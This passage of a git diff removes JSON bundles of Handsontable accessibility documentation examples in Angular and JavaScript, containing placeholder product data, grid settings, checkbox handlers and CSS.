'10-6007287',\n country: 'Romania',\n },\n {\n companyName: 'Gutkowski Inc',\n productName: 'Small Fresh Bacon',\n sellDate: '2023-01-10',\n inStock: true,\n qty: 375,\n orderId: '25-1164132',\n country: 'Afghanistan',\n },\n {\n companyName: 'Koepp and Sons',\n productName: 'Small Fresh Fish',\n sellDate: '2023-03-30',\n inStock: false,\n qty: 365,\n orderId: '75-7975820',\n country: 'Germany',\n },\n {\n companyName: 'Zboncak and Sons',\n productName: 'Small Fresh Fish',\n sellDate: '2023-08-17',\n inStock: false,\n qty: 308,\n orderId: '59-6251875',\n country: 'Tajikistan',\n },\n {\n companyName: 'Mills Group',\n productName: 'Rustic Soft Ball',\n sellDate: '2023-09-30',\n inStock: false,\n qty: 191,\n orderId: '67-7521441',\n country: 'Puerto Rico',\n },\n {\n companyName: 'Zboncak and Sons',\n productName: 'Awesome Wooden Hat',\n sellDate: '2023-03-18',\n inStock: false,\n qty: 208,\n orderId: '19-4264192',\n country: 'Bolivia',\n },\n {\n companyName: 'Rath LLC',\n productName: 'Rustic Soft Ball',\n sellDate: '2023-06-14',\n inStock: true,\n qty: 191,\n orderId: '78-5742060',\n country: 'Benin',\n },\n {\n companyName: 'Upton - Reichert',\n productName: 'Tasty Frozen Table',\n sellDate: '2023-02-27',\n inStock: false,\n qty: 45,\n orderId: '26-6191298',\n country: 'Tunisia',\n },\n {\n companyName: 'Carroll Group',\n productName: 'Rustic Soft Ball',\n sellDate: '2022-12-12',\n inStock: true,\n qty: 385,\n orderId: '13-7828353',\n country: 'French Southern Territories',\n },\n {\n companyName: 'Reichel Group',\n productName: 'Small Frozen Tuna',\n sellDate: '2022-12-12',\n inStock: true,\n qty: 117,\n orderId: '67-9643738',\n country: 'Mongolia',\n },\n {\n companyName: 'Kozey Inc',\n productName: 'Rustic Soft Ball',\n sellDate: '2023-03-24',\n inStock: false,\n qty: 335,\n orderId: '78-1331653',\n country: 'Angola',\n },\n {\n companyName: 'Brown LLC',\n productName: 'Small Rubber Shoes',\n sellDate: '2023-06-13',\n inStock: true,\n qty: 305,\n orderId: '63-2315723',\n country: 'French Southern Territories',\n },\n {\n companyName: 'Weber Inc',\n productName: 'Rustic Cotton Ball',\n sellDate: '2023-09-07',\n inStock: true,\n qty: 409,\n orderId: '53-6782557',\n country: 'Indonesia',\n },\n {\n companyName: 'OReilly LLC',\n productName: 'Tasty Frozen Table',\n sellDate: '2023-05-18',\n inStock: true,\n qty: 318,\n orderId: '91-7787675',\n country: 'Mayotte',\n },\n {\n companyName: 'Weber Inc',\n productName: 'Sleek Wooden Bacon',\n sellDate: '2023-04-20',\n inStock: false,\n qty: 234,\n orderId: '41-3560672',\n country: 'Switzerland',\n },\n {\n companyName: 'Hodkiewicz Inc',\n productName: 'Tasty Frozen Table',\n sellDate: '2023-10-19',\n inStock: true,\n qty: 136,\n orderId: '48-6028776',\n country: 'Peru',\n },\n {\n companyName: 'Lesch and Sons',\n productName: 'Rustic Cotton Ball',\n sellDate: '2023-09-29',\n inStock: false,\n qty: 187,\n orderId: '84-3770456',\n country: 'Central African Republic',\n },\n {\n companyName: 'Pouros - Brakus',\n productName: 'Small Frozen Tuna',\n sellDate: '2023-01-29',\n inStock: false,\n qty: 350,\n orderId: '08-4844950',\n country: 'Isle of Man',\n },\n {\n companyName: 'Batz - Rice',\n productName: 'Small Rubber Shoes',\n sellDate: '2023-11-06',\n inStock: false,\n qty: 252,\n orderId: '88-4899852',\n country: 'Burundi',\n },\n {\n companyName: 'Kub Inc',\n productName: 'Small Fresh Fish',\n sellDate: '2023-09-05',\n inStock: true,\n qty: 306,\n orderId: '06-5022461',\n country: 'Mauritius',\n },\n {\n companyName: 'Hills and Sons',\n productName: 'Small Frozen Tuna',\n sellDate: '2023-11-07',\n inStock: false,\n qty: 435,\n orderId: '99-5539911',\n country: 'Somalia',\n },\n {\n companyName: 'Shanahan - Boyle',\n productName: 'Small Frozen Tuna',\n sellDate: '2023-06-19',\n inStock: true,\n qty: 171,\n orderId: '82-8162453',\n country: 'Virgin Islands, U.S.',\n },\n {\n companyName: 'Luettgen Inc',\n productName: 'Awesome Wooden Hat',\n sellDate: '2023-09-30',\n inStock: false,\n qty: 6,\n orderId: '02-8118250',\n country: 'Colombia',\n },\n {\n companyName: 'Hegmann Inc',\n productName: 'Small Rubber Shoes',\n sellDate: '2023-02-16',\n inStock: true,\n qty: 278,\n orderId: '07-9773343',\n country: 'Central African Republic',\n },\n {\n companyName: 'Kub Inc',\n productName: 'Small Frozen Tuna',\n sellDate: '2023-08-08',\n inStock: false,\n qty: 264,\n orderId: '66-4470479',\n country: 'Norfolk Island',\n },\n {\n companyName: 'Kub Inc',\n productName: 'Tasty Frozen Table',\n sellDate: '2023-06-06',\n inStock: true,\n qty: 494,\n orderId: '13-1175339',\n country: 'Liechtenstein',\n },\n {\n companyName: 'Hahn - Welch',\n productName: 'Small Frozen Tuna',\n sellDate: '2023-06-12',\n inStock: false,\n qty: 485,\n orderId: '32-9127309',\n country: 'Bahrain',\n },\n {\n companyName: 'Nader - Fritsch',\n productName: 'Small Frozen Tuna',\n sellDate: '2023-04-08',\n inStock: true,\n qty: 332,\n orderId: '41-3774568',\n country: 'Montserrat',\n },\n {\n companyName: 'Crona and Sons',\n productName: 'Small Fresh Bacon',\n sellDate: '2023-06-21',\n inStock: true,\n qty: 104,\n orderId: '48-9995090',\n country: 'Syrian Arab Republic',\n },\n {\n companyName: 'Lind Group',\n productName: 'Rustic Cotton Ball',\n sellDate: '2023-08-17',\n inStock: false,\n qty: 51,\n orderId: '68-9599400',\n country: 'Czech Republic',\n },\n {\n companyName: 'Labadie LLC',\n productName: 'Small Fresh Bacon',\n sellDate: '2023-04-20',\n inStock: true,\n qty: 155,\n orderId: '52-4334332',\n country: 'Croatia',\n },\n {\n companyName: 'Doyle Group',\n productName: 'Sleek Wooden Bacon',\n sellDate: '2023-07-23',\n inStock: false,\n qty: 465,\n orderId: '63-8894526',\n country: 'Indonesia',\n },\n ];\n\n const countries = products.reduce((acc, curr) => {\n if (acc.includes(curr.country)) {\n return acc;\n }\n\n return [...acc, curr.country];\n }, [] as string[]);\n\n this.hotData = [...products];\n\n this.hotSettings = {\n height: 464,\n colWidths: [160, 165, 130, 100, 100, 110, 216],\n autoRowSize: true,\n colHeaders: [\n 'Company name',\n 'Product name',\n 'Sell date',\n 'In stock',\n 'Qty',\n 'Order ID',\n 'Country',\n ],\n columns: [\n { data: 'companyName', type: 'text' },\n { data: 'productName', type: 'text' },\n {\n data: 'sellDate',\n type: 'intl-date',\n locale: 'en-GB',\n dateFormat: { day: '2-digit', month: '2-digit', year: 'numeric' } as unknown as string,\n },\n {\n data: 'inStock',\n type: 'checkbox',\n className: 'htCenter',\n headerClassName: 'htCenter',\n },\n {\n data: 'qty',\n type: 'numeric',\n headerClassName: 'htRight',\n },\n {\n data: 'orderId',\n type: 'text',\n },\n {\n data: 'country',\n type: 'dropdown',\n source: countries,\n },\n ],\n dropdownMenu: true,\n hiddenColumns: {\n indicators: true,\n },\n contextMenu: true,\n navigableHeaders: true,\n tabNavigation: true,\n autoWrapRow: true,\n autoWrapCol: true,\n multiColumnSorting: true,\n filters: true,\n rowHeaders: true,\n manualRowMove: true,\n headerClassName: 'htLeft',\n }\n\n // Initialize the Handsontable instance with the specified configuration options\n\n const setupCheckbox = (element: HTMLInputElement | null, callback: (checked: boolean) => void) =>\n element?.addEventListener('click', () => callback(element.checked));\n\n // Set up event listeners for various checkboxes to update Handsontable settings.\n // This allows us to change the Handsontable settings from the UI, showcasing\n // the flexibility of Handsontable in configuring according to your needs.\n // Checkbox: Enable/Disable Tab Navigation\n setupCheckbox(document.querySelector('#enable-tab-navigation'), (checked: boolean) => {\n this.hotSettings['tabNavigation'] = checked;\n this.hotTable.hotInstance!.updateSettings({\n tabNavigation: this.hotSettings['tabNavigation'],\n });\n console.log(\n 'Updated setting: tabNavigation to',\n this.hotTable.hotInstance!.getSettings().tabNavigation\n );\n });\n // Checkbox: Enable/Disable Header Navigation\n setupCheckbox(\n document.querySelector('#enable-header-navigation'),\n (checked: boolean) => {\n this.hotSettings['navigableHeaders'] = checked;\n this.hotTable.hotInstance!.updateSettings({\n navigableHeaders: this.hotSettings['navigableHeaders'],\n });\n console.log(\n 'Updated setting: navigableHeaders to',\n this.hotTable.hotInstance!.getSettings().navigableHeaders\n );\n }\n );\n\n // Checkbox: Enable/Disable Cell Virtualization\n setupCheckbox(\n document.querySelector('#enable-cell-virtualization'),\n (checked: boolean) => {\n this.hotTable.hotInstance!.updateSettings({\n renderAllRows: !checked,\n renderAllColumns: !checked,\n });\n console.log('Updated virtualization settings:', {\n renderAllRows: this.hotTable.hotInstance!.getSettings().renderAllRows,\n renderAllColumns: this.hotTable.hotInstance!.getSettings().renderAllColumns,\n });\n }\n );\n // Checkbox: Enable/Disable Cell Enter Editing\n setupCheckbox(\n document.querySelector('#enable-cell-enter-editing'),\n (checked: boolean) => {\n this.hotSettings['enterBeginsEditing'] = checked;\n this.hotTable.hotInstance!.updateSettings({\n enterBeginsEditing: this.hotSettings['enterBeginsEditing'],\n });\n console.log(\n 'Updated setting: enable-cell-enter-editing to',\n this.hotTable.hotInstance!.getSettings().enterBeginsEditing\n );\n }\n );\n // Checkbox: Enable/Disable Arrow Navigation for First/Last Row\n setupCheckbox(\n document.querySelector('#enable-arrow-rl-first-last-column'),\n (checked: boolean) => {\n this.hotSettings['autoWrapRow'] = checked;\n this.hotTable.hotInstance!.updateSettings({\n autoWrapRow: this.hotSettings['autoWrapRow'],\n });\n console.log(\n 'Updated setting: autoWrapRow to',\n this.hotTable.hotInstance!.getSettings().autoWrapRow\n );\n }\n );\n // Checkbox: Enable/Disable Arrow Navigation for First/Last Column\n setupCheckbox(\n document.querySelector('#enable-arrow-td-first-last-column'),\n (checked: boolean) => {\n this.hotSettings['autoWrapCol'] = checked;\n this.hotTable.hotInstance!.updateSettings({\n autoWrapCol: this.hotSettings['autoWrapCol'],\n });\n console.log(\n 'Updated setting: autoWrapCol to',\n this.hotTable.hotInstance!.getSettings().autoWrapCol\n );\n }\n );\n // Checkbox: Enable/Disable Enter Key Focus for Editing\n setupCheckbox(\n document.querySelector('#enable-enter-focus-editing'),\n (checked: boolean) => {\n this.hotSettings['enterMoves'] = checked ? { col: 0, row: 1 } : { col: 0, row: 0 };\n this.hotTable.hotInstance!.updateSettings({\n enterMoves: this.hotSettings['enterMoves'],\n });\n console.log('Updated setting: enterMoves to', this.hotTable.hotInstance!.getSettings().enterMoves);\n }\n );\n }\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/accessibility/accessibility/angular/example1.ts","breadcrumb":["Accessibility"],"guide":"guides/accessibility/accessibility/accessibility.md","guideTitle":"Accessibility","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/accessibility","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/guides__accessibility__accessibility__javascript__example1.js.json b/runner/apps/authoring/public/docs-examples/guides__accessibility__accessibility__javascript__example1.js.json deleted file mode 100644 index ce665491..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__accessibility__accessibility__javascript__example1.js.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"javascript","displayName":"Accessibility · Standard example · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n
    \n
    \n \n Enable navigation with the Tab key\n \n \n \n \n \n \n \n
    \n
    \n \n \n Enable navigation across headers\n \n \n \n \n \n \n \n
    \n
    \n \n \n Enable cells virtualization\n \n \n \n \n \n \n \n
    \n
    \n \n The Enter key begins cell editing\n \n \n \n \n \n \n \n
    \n
    \n \n The right/left arrow keys wrap focus to the adjacent row\n \n \n \n \n \n \n \n
    \n
    \n \n \n The up/down arrow keys wrap focus to the adjacent column\n \n \n \n \n \n \n \n
    \n
    \n \n \n The Enter key moves the focus after cell edition\n \n \n \n \n \n \n \n
    \n
    \n \n \n \n
    \n \n \n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\n/* start:skip-in-preview */\nconst products = [\n {\n companyName: 'Hodkiewicz - Hintz',\n productName: 'Rustic Soft Ball',\n sellDate: '2023-07-05',\n inStock: false,\n qty: 82,\n orderId: '16-3974628',\n country: 'United Kingdom',\n },\n {\n companyName: 'Rath LLC',\n productName: 'Small Frozen Tuna',\n sellDate: '2023-05-31',\n inStock: false,\n qty: 459,\n orderId: '77-7839351',\n country: 'Costa Rica',\n },\n {\n companyName: 'Reichert LLC',\n productName: 'Rustic Soft Ball',\n sellDate: '2023-03-16',\n inStock: false,\n qty: 318,\n orderId: '75-6343150',\n country: 'United States of America',\n },\n {\n companyName: 'Kozey Inc',\n productName: 'Sleek Wooden Bacon',\n sellDate: '2023-04-24',\n inStock: true,\n qty: 177,\n orderId: '56-3608689',\n country: 'Pitcairn Islands',\n },\n {\n companyName: 'Nader - Fritsch',\n productName: 'Awesome Wooden Hat',\n sellDate: '2023-04-29',\n inStock: true,\n qty: 51,\n orderId: '58-1204318',\n country: 'Argentina',\n },\n {\n companyName: 'Gerhold - Rowe',\n productName: 'Tasty Frozen Table',\n sellDate: '2023-03-27',\n inStock: false,\n qty: 439,\n orderId: '62-6066132',\n country: 'Senegal',\n },\n {\n companyName: 'Rath LLC',\n productName: 'Awesome Wooden Hat',\n sellDate: '2022-11-24',\n inStock: false,\n qty: 493,\n orderId: '76-7785471',\n country: 'Cyprus',\n },\n {\n companyName: 'Kozey Inc',\n productName: 'Rustic Soft Ball',\n sellDate: '2023-08-11',\n inStock: false,\n qty: 225,\n orderId: '34-3551159',\n country: 'Saint Martin',\n },\n {\n companyName: 'Hodkiewicz - Hintz',\n productName: 'Awesome Wooden Hat',\n sellDate: '2023-02-07',\n inStock: false,\n qty: 261,\n orderId: '77-1112514',\n country: 'Chile',\n },\n {\n companyName: 'Hegmann Inc',\n productName: 'Tasty Frozen Table',\n sellDate: '2023-05-06',\n inStock: false,\n qty: 439,\n orderId: '12-3252385',\n country: 'Switzerland',\n },\n {\n companyName: 'Weber Inc',\n productName: 'Awesome Wooden Hat',\n sellDate: '2023-04-22',\n inStock: true,\n qty: 235,\n orderId: '71-7639998',\n country: 'Brazil',\n },\n {\n companyName: 'Jacobi - Kutch',\n productName: 'Sleek Wooden Bacon',\n sellDate: '2022-12-13',\n inStock: true,\n qty: 163,\n orderId: '68-1588829',\n country: 'Burkina Faso',\n },\n {\n companyName: 'Jenkins LLC',\n productName: 'Small Rubber Shoes',\n sellDate: '2023-03-26',\n inStock: true,\n qty: 8,\n orderId: '61-6324553',\n country: 'Virgin Islands, U.S.',\n },\n {\n companyName: 'Koepp and Sons',\n productName: 'Sleek Wooden Bacon',\n sellDate: '2023-05-04',\n inStock: true,\n qty: 355,\n orderId: '74-6985005',\n country: 'Mozambique',\n },\n {\n companyName: 'Doyle Group',\n productName: 'Awesome Wooden Hat',\n sellDate: '2023-08-01',\n inStock: false,\n qty: 186,\n orderId: '84-4370131',\n country: 'Cocos (Keeling) Islands',\n },\n {\n companyName: 'Rempel - Durgan',\n productName: 'Tasty Frozen Table',\n sellDate: '2023-09-30',\n inStock: false,\n qty: 284,\n orderId: '13-6461825',\n country: 'Monaco',\n },\n {\n companyName: 'Lesch - Jakubowski',\n productName: 'Small Fresh Bacon',\n sellDate: '2023-09-26',\n inStock: true,\n qty: 492,\n orderId: '13-9465439',\n country: 'Iran',\n },\n {\n companyName: 'Jacobi - Kutch',\n productName: 'Rustic Cotton Ball',\n sellDate: '2023-05-04',\n inStock: true,\n qty: 300,\n orderId: '76-5194058',\n country: 'Indonesia',\n },\n {\n companyName: 'Gerhold - Rowe',\n productName: 'Rustic Cotton Ball',\n sellDate: '2023-07-07',\n inStock: true,\n qty: 493,\n orderId: '61-8600792',\n country: 'Norfolk Island',\n },\n {\n companyName: 'Johnston - Wisozk',\n productName: 'Small Fresh Fish',\n sellDate: '2023-07-14',\n inStock: false,\n qty: 304,\n orderId: '10-6007287',\n country: 'Romania',\n },\n {\n companyName: 'Gutkowski Inc',\n productName: 'Small Fresh Bacon',\n sellDate: '2023-01-10',\n inStock: true,\n qty: 375,\n orderId: '25-1164132',\n country: 'Afghanistan',\n },\n {\n companyName: 'Koepp and Sons',\n productName: 'Small Fresh Fish',\n sellDate: '2023-03-30',\n inStock: false,\n qty: 365,\n orderId: '75-7975820',\n country: 'Germany',\n },\n {\n companyName: 'Zboncak and Sons',\n productName: 'Small Fresh Fish',\n sellDate: '2023-08-17',\n inStock: false,\n qty: 308,\n orderId: '59-6251875',\n country: 'Tajikistan',\n },\n {\n companyName: 'Mills Group',\n productName: 'Rustic Soft Ball',\n sellDate: '2023-09-30',\n inStock: false,\n qty: 191,\n orderId: '67-7521441',\n country: 'Puerto Rico',\n },\n {\n companyName: 'Zboncak and Sons',\n productName: 'Awesome Wooden Hat',\n sellDate: '2023-03-18',\n inStock: false,\n qty: 208,\n orderId: '19-4264192',\n country: 'Bolivia',\n },\n {\n companyName: 'Rath LLC',\n productName: 'Rustic Soft Ball',\n sellDate: '2023-06-14',\n inStock: true,\n qty: 191,\n orderId: '78-5742060',\n country: 'Benin',\n },\n {\n companyName: 'Upton - Reichert',\n productName: 'Tasty Frozen Table',\n sellDate: '2023-02-27',\n inStock: false,\n qty: 45,\n orderId: '26-6191298',\n country: 'Tunisia',\n },\n {\n companyName: 'Carroll Group',\n productName: 'Rustic Soft Ball',\n sellDate: '2022-12-12',\n inStock: true,\n qty: 385,\n orderId: '13-7828353',\n country: 'Switzerland',\n },\n {\n companyName: 'Reichel Group',\n productName: 'Small Frozen Tuna',\n sellDate: '2022-12-12',\n inStock: true,\n qty: 117,\n orderId: '67-9643738',\n country: 'Mongolia',\n },\n {\n companyName: 'Kozey Inc',\n productName: 'Rustic Soft Ball',\n sellDate: '2023-03-24',\n inStock: false,\n qty: 335,\n orderId: '78-1331653',\n country: 'Angola',\n },\n {\n companyName: 'Brown LLC',\n productName: 'Small Rubber Shoes',\n sellDate: '2023-06-13',\n inStock: true,\n qty: 305,\n orderId: '63-2315723',\n country: 'Switzerland',\n },\n {\n companyName: 'Weber Inc',\n productName: 'Rustic Cotton Ball',\n sellDate: '2023-09-07',\n inStock: true,\n qty: 409,\n orderId: '53-6782557',\n country: 'Indonesia',\n },\n {\n companyName: 'OReilly LLC',\n productName: 'Tasty Frozen Table',\n sellDate: '2023-05-18',\n inStock: true,\n qty: 318,\n orderId: '91-7787675',\n country: 'Mayotte',\n },\n {\n companyName: 'Weber Inc',\n productName: 'Sleek Wooden Bacon',\n sellDate: '2023-04-20',\n inStock: false,\n qty: 234,\n orderId: '41-3560672',\n country: 'Switzerland',\n },\n {\n companyName: 'Hodkiewicz Inc',\n productName: 'Tasty Frozen Table',\n sellDate: '2023-10-19',\n inStock: true,\n qty: 136,\n orderId: '48-6028776',\n country: 'Peru',\n },\n {\n companyName: 'Lesch and Sons',\n productName: 'Rustic Cotton Ball',\n sellDate: '2023-09-29',\n inStock: false,\n qty: 187,\n orderId: '84-3770456',\n country: 'Central African Republic',\n },\n {\n companyName: 'Pouros - Brakus',\n productName: 'Small Frozen Tuna',\n sellDate: '2023-01-29',\n inStock: false,\n qty: 350,\n orderId: '08-4844950',\n country: 'Isle of Man',\n },\n {\n companyName: 'Batz - Rice',\n productName: 'Small Rubber Shoes',\n sellDate: '2023-11-06',\n inStock: false,\n qty: 252,\n orderId: '88-4899852',\n country: 'Burundi',\n },\n {\n companyName: 'Kub Inc',\n productName: 'Small Fresh Fish',\n sellDate: '2023-09-05',\n inStock: true,\n qty: 306,\n orderId: '06-5022461',\n country: 'Mauritius',\n },\n {\n companyName: 'Hills and Sons',\n productName: 'Small Frozen Tuna',\n sellDate: '2023-11-07',\n inStock: false,\n qty: 435,\n orderId: '99-5539911',\n country: 'Somalia',\n },\n {\n companyName: 'Shanahan - Boyle',\n productName: 'Small Frozen Tuna',\n sellDate: '2023-06-19',\n inStock: true,\n qty: 171,\n orderId: '82-8162453',\n country: 'Virgin Islands, U.S.',\n },\n {\n companyName: 'Luettgen Inc',\n productName: 'Awesome Wooden Hat',\n sellDate: '2023-09-30',\n inStock: false,\n qty: 6,\n orderId: '02-8118250',\n country: 'Colombia',\n },\n {\n companyName: 'Hegmann Inc',\n productName: 'Small Rubber Shoes',\n sellDate: '2023-02-16',\n inStock: true,\n qty: 278,\n orderId: '07-9773343',\n country: 'Central African Republic',\n },\n {\n companyName: 'Kub Inc',\n productName: 'Small Frozen Tuna',\n sellDate: '2023-08-08',\n inStock: false,\n qty: 264,\n orderId: '66-4470479',\n country: 'Norfolk Island',\n },\n {\n companyName: 'Kub Inc',\n productName: 'Tasty Frozen Table',\n sellDate: '2023-06-06',\n inStock: true,\n qty: 494,\n orderId: '13-1175339',\n country: 'Liechtenstein',\n },\n {\n companyName: 'Hahn - Welch',\n productName: 'Small Frozen Tuna',\n sellDate: '2023-06-12',\n inStock: false,\n qty: 485,\n orderId: '32-9127309',\n country: 'Bahrain',\n },\n {\n companyName: 'Nader - Fritsch',\n productName: 'Small Frozen Tuna',\n sellDate: '2023-04-08',\n inStock: true,\n qty: 332,\n orderId: '41-3774568',\n country: 'Montserrat',\n },\n {\n companyName: 'Crona and Sons',\n productName: 'Small Fresh Bacon',\n sellDate: '2023-06-21',\n inStock: true,\n qty: 104,\n orderId: '48-9995090',\n country: 'Syrian Arab Republic',\n },\n {\n companyName: 'Lind Group',\n productName: 'Rustic Cotton Ball',\n sellDate: '2023-08-17',\n inStock: false,\n qty: 51,\n orderId: '68-9599400',\n country: 'Czech Republic',\n },\n {\n companyName: 'Labadie LLC',\n productName: 'Small Fresh Bacon',\n sellDate: '2023-04-20',\n inStock: true,\n qty: 155,\n orderId: '52-4334332',\n country: 'Croatia',\n },\n {\n companyName: 'Doyle Group',\n productName: 'Sleek Wooden Bacon',\n sellDate: '2023-07-23',\n inStock: false,\n qty: 465,\n orderId: '63-8894526',\n country: 'Indonesia',\n },\n];\n\nconst countries = products.reduce((acc, curr) => {\n if (acc.includes(curr.country)) {\n return acc;\n }\n\n return [...acc, curr.country];\n}, []);\n\n/* end:skip-in-preview */\n// Get the DOM element with the ID 'example1' where the Handsontable will be rendered\nconst app = document.getElementById('example1');\n// Define configuration options for the Handsontable\nconst hotOptions = {\n data: products,\n height: 464,\n colWidths: [160, 165, 130, 120, 100, 110, 216],\n autoRowSize: true,\n colHeaders: ['Company name', 'Product name', 'Sell date', 'In stock', 'Qty', 'Order ID', 'Country'],\n columns: [\n { data: 'companyName', type: 'text' },\n { data: 'productName', type: 'text' },\n {\n data: 'sellDate',\n type: 'intl-date',\n locale: 'en-GB',\n dateFormat: { day: '2-digit', month: '2-digit', year: 'numeric' },\n },\n {\n data: 'inStock',\n type: 'checkbox',\n className: 'htCenter',\n headerClassName: 'htCenter',\n },\n {\n data: 'qty',\n type: 'numeric',\n headerClassName: 'htRight',\n },\n {\n data: 'orderId',\n type: 'text',\n },\n {\n data: 'country',\n type: 'dropdown',\n source: countries,\n },\n ],\n dropdownMenu: true,\n hiddenColumns: {\n indicators: true,\n },\n contextMenu: true,\n navigableHeaders: true,\n tabNavigation: true,\n autoWrapRow: true,\n autoWrapCol: true,\n multiColumnSorting: true,\n filters: true,\n rowHeaders: true,\n manualRowMove: true,\n headerClassName: 'htLeft',\n licenseKey: 'non-commercial-and-evaluation',\n};\n\n// Initialize the Handsontable instance with the specified configuration options\nlet hot = new Handsontable(app, hotOptions);\n// Helper function to set up checkbox event handling\nconst setupCheckbox = (element, callback) => element.addEventListener('click', () => callback(element.checked));\n\n// Set up event listeners for various checkboxes to update Handsontable settings.\n// This allows us to change the Handsontable settings from the UI, showcasing\n// the flexibility of Handsontable in configuring according to your needs.\n// Checkbox: Enable/Disable Tab Navigation\nsetupCheckbox(document.querySelector('#enable-tab-navigation'), (checked) => {\n hotOptions.tabNavigation = checked;\n hot.updateSettings({\n tabNavigation: hotOptions.tabNavigation,\n });\n console.log('Updated setting: tabNavigation to', hot.getSettings().tabNavigation);\n});\n// Checkbox: Enable/Disable Header Navigation\nsetupCheckbox(document.querySelector('#enable-header-navigation'), (checked) => {\n hotOptions.navigableHeaders = checked;\n hot.updateSettings({\n navigableHeaders: hotOptions.navigableHeaders,\n });\n console.log('Updated setting: navigableHeaders to', hot.getSettings().navigableHeaders);\n});\n// Checkbox: Enable/Disable Cell Virtualization\nsetupCheckbox(document.querySelector('#enable-cell-virtualization'), (checked) => {\n hot.destroy();\n hot = new Handsontable(document.getElementById('example1'), {\n ...hotOptions,\n renderAllRows: !checked,\n renderAllColumns: !checked,\n });\n console.log('Updated virtualization settings:', {\n renderAllRows: hot.getSettings().renderAllRows,\n renderAllColumns: hot.getSettings().renderAllColumns,\n });\n});\n// Checkbox: Enable/Disable Cell Enter Editing\nsetupCheckbox(document.querySelector('#enable-cell-enter-editing'), (checked) => {\n hotOptions.enterBeginsEditing = checked;\n hot.updateSettings({\n enterBeginsEditing: hotOptions.enterBeginsEditing,\n });\n console.log('Updated setting: enable-cell-enter-editing to', hot.getSettings().enterBeginsEditing);\n});\n// Checkbox: Enable/Disable Arrow Navigation for First/Last Row\nsetupCheckbox(document.querySelector('#enable-arrow-rl-first-last-column'), (checked) => {\n hotOptions.autoWrapRow = checked;\n hot.updateSettings({\n autoWrapRow: hotOptions.autoWrapRow,\n });\n console.log('Updated setting: autoWrapRow to', hot.getSettings().autoWrapRow);\n});\n// Checkbox: Enable/Disable Arrow Navigation for First/Last Column\nsetupCheckbox(document.querySelector('#enable-arrow-td-first-last-column'), (checked) => {\n hotOptions.autoWrapCol = checked;\n hot.updateSettings({\n autoWrapCol: hotOptions.autoWrapCol,\n });\n console.log('Updated setting: autoWrapCol to', hot.getSettings().autoWrapCol);\n});\n// Checkbox: Enable/Disable Enter Key Focus for Editing\nsetupCheckbox(document.querySelector('#enable-enter-focus-editing'), (checked) => {\n hotOptions.enterMoves = checked ? { col: 0, row: 1 } : { col: 0, row: 0 };\n hot.updateSettings({\n enterMoves: hotOptions.enterMoves,\n });\n console.log('Updated setting: enterMoves to', hot.getSettings().enterMoves);\n});","/src/main.js":"import \"../styles.css\";\nimport \"../index.js\";","/styles.css":".checkbox-container {\n display: flex;\n flex-direction: column;\n gap: 0.5rem;\n margin: 0 -1rem 0 !important;\n padding: 0 1rem 0.75rem;\n border-bottom: 1px solid var(--sl-color-gray-5, #e0e0e0);\n}\n\n.checkbox-container > div {\n display: flex;\n}\n\n.checkbox-container > div > label {\n display: flex;\n align-items: center;\n gap: 0.4rem;\n}\n\n.external-link {\n margin-left: 0.5rem;\n position: relative;\n top: 2px;\n color: var(--sl-color-text, #333333);\n}\n\n.external-link:hover {\n color: var(--sl-color-accent, #1A42E8);\n}\n\n.placeholder-input {\n max-width: 20rem;\n padding: 0.4rem 0.625rem;\n font-size: var(--sl-text-sm, 0.875rem);\n line-height: 1.25rem;\n color: var(--sl-color-text, #333333);\n background: none;\n border: 1px solid var(--sl-color-gray-5, #e0e0e0);\n border-radius: 0;\n outline: none;\n}\n\n.placeholder-input::placeholder {\n color: var(--sl-color-gray-3, #777777);\n}\n\n.placeholder-input:focus {\n border-color: var(--sl-color-accent, #1A42E8);\n}\n\n.option-label {\n color: var(--sl-color-text, #333333);\n font-size: var(--sl-text-sm, 0.875rem);\n}\n\n/*\n We want the focus to be around input and label, in order to achieve this,\n we remove focus from the input and add it to the label (wrapper in this case)\n we then use the :focus-within pseudo class plus native focus styles\n https://css-tricks.com/copy-the-browsers-native-focus-styles/\n*/\n.option-label:focus-within {\n outline: 5px auto Highlight;\n outline: 5px auto -webkit-focus-ring-color;\n}\n\n.option-label > input:focus {\n outline: none;\n}\n\n.example-container {\n gap: 1rem;\n display: flex;\n flex-direction: column;\n font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', system-ui, sans-serif;\n}"},"docsPath":"guides/accessibility/accessibility/javascript/example1.js","breadcrumb":["Accessibility"],"guide":"guides/accessibility/accessibility/accessibility.md","guideTitle":"Accessibility","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/accessibility","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__accessibility__accessibility__javascript__example1.ts.json b/runner/apps/authoring/public/docs-examples/guides__accessibility__accessibility__javascript__example1.ts.json deleted file mode 100644 index 2a88d264..00000000 --- 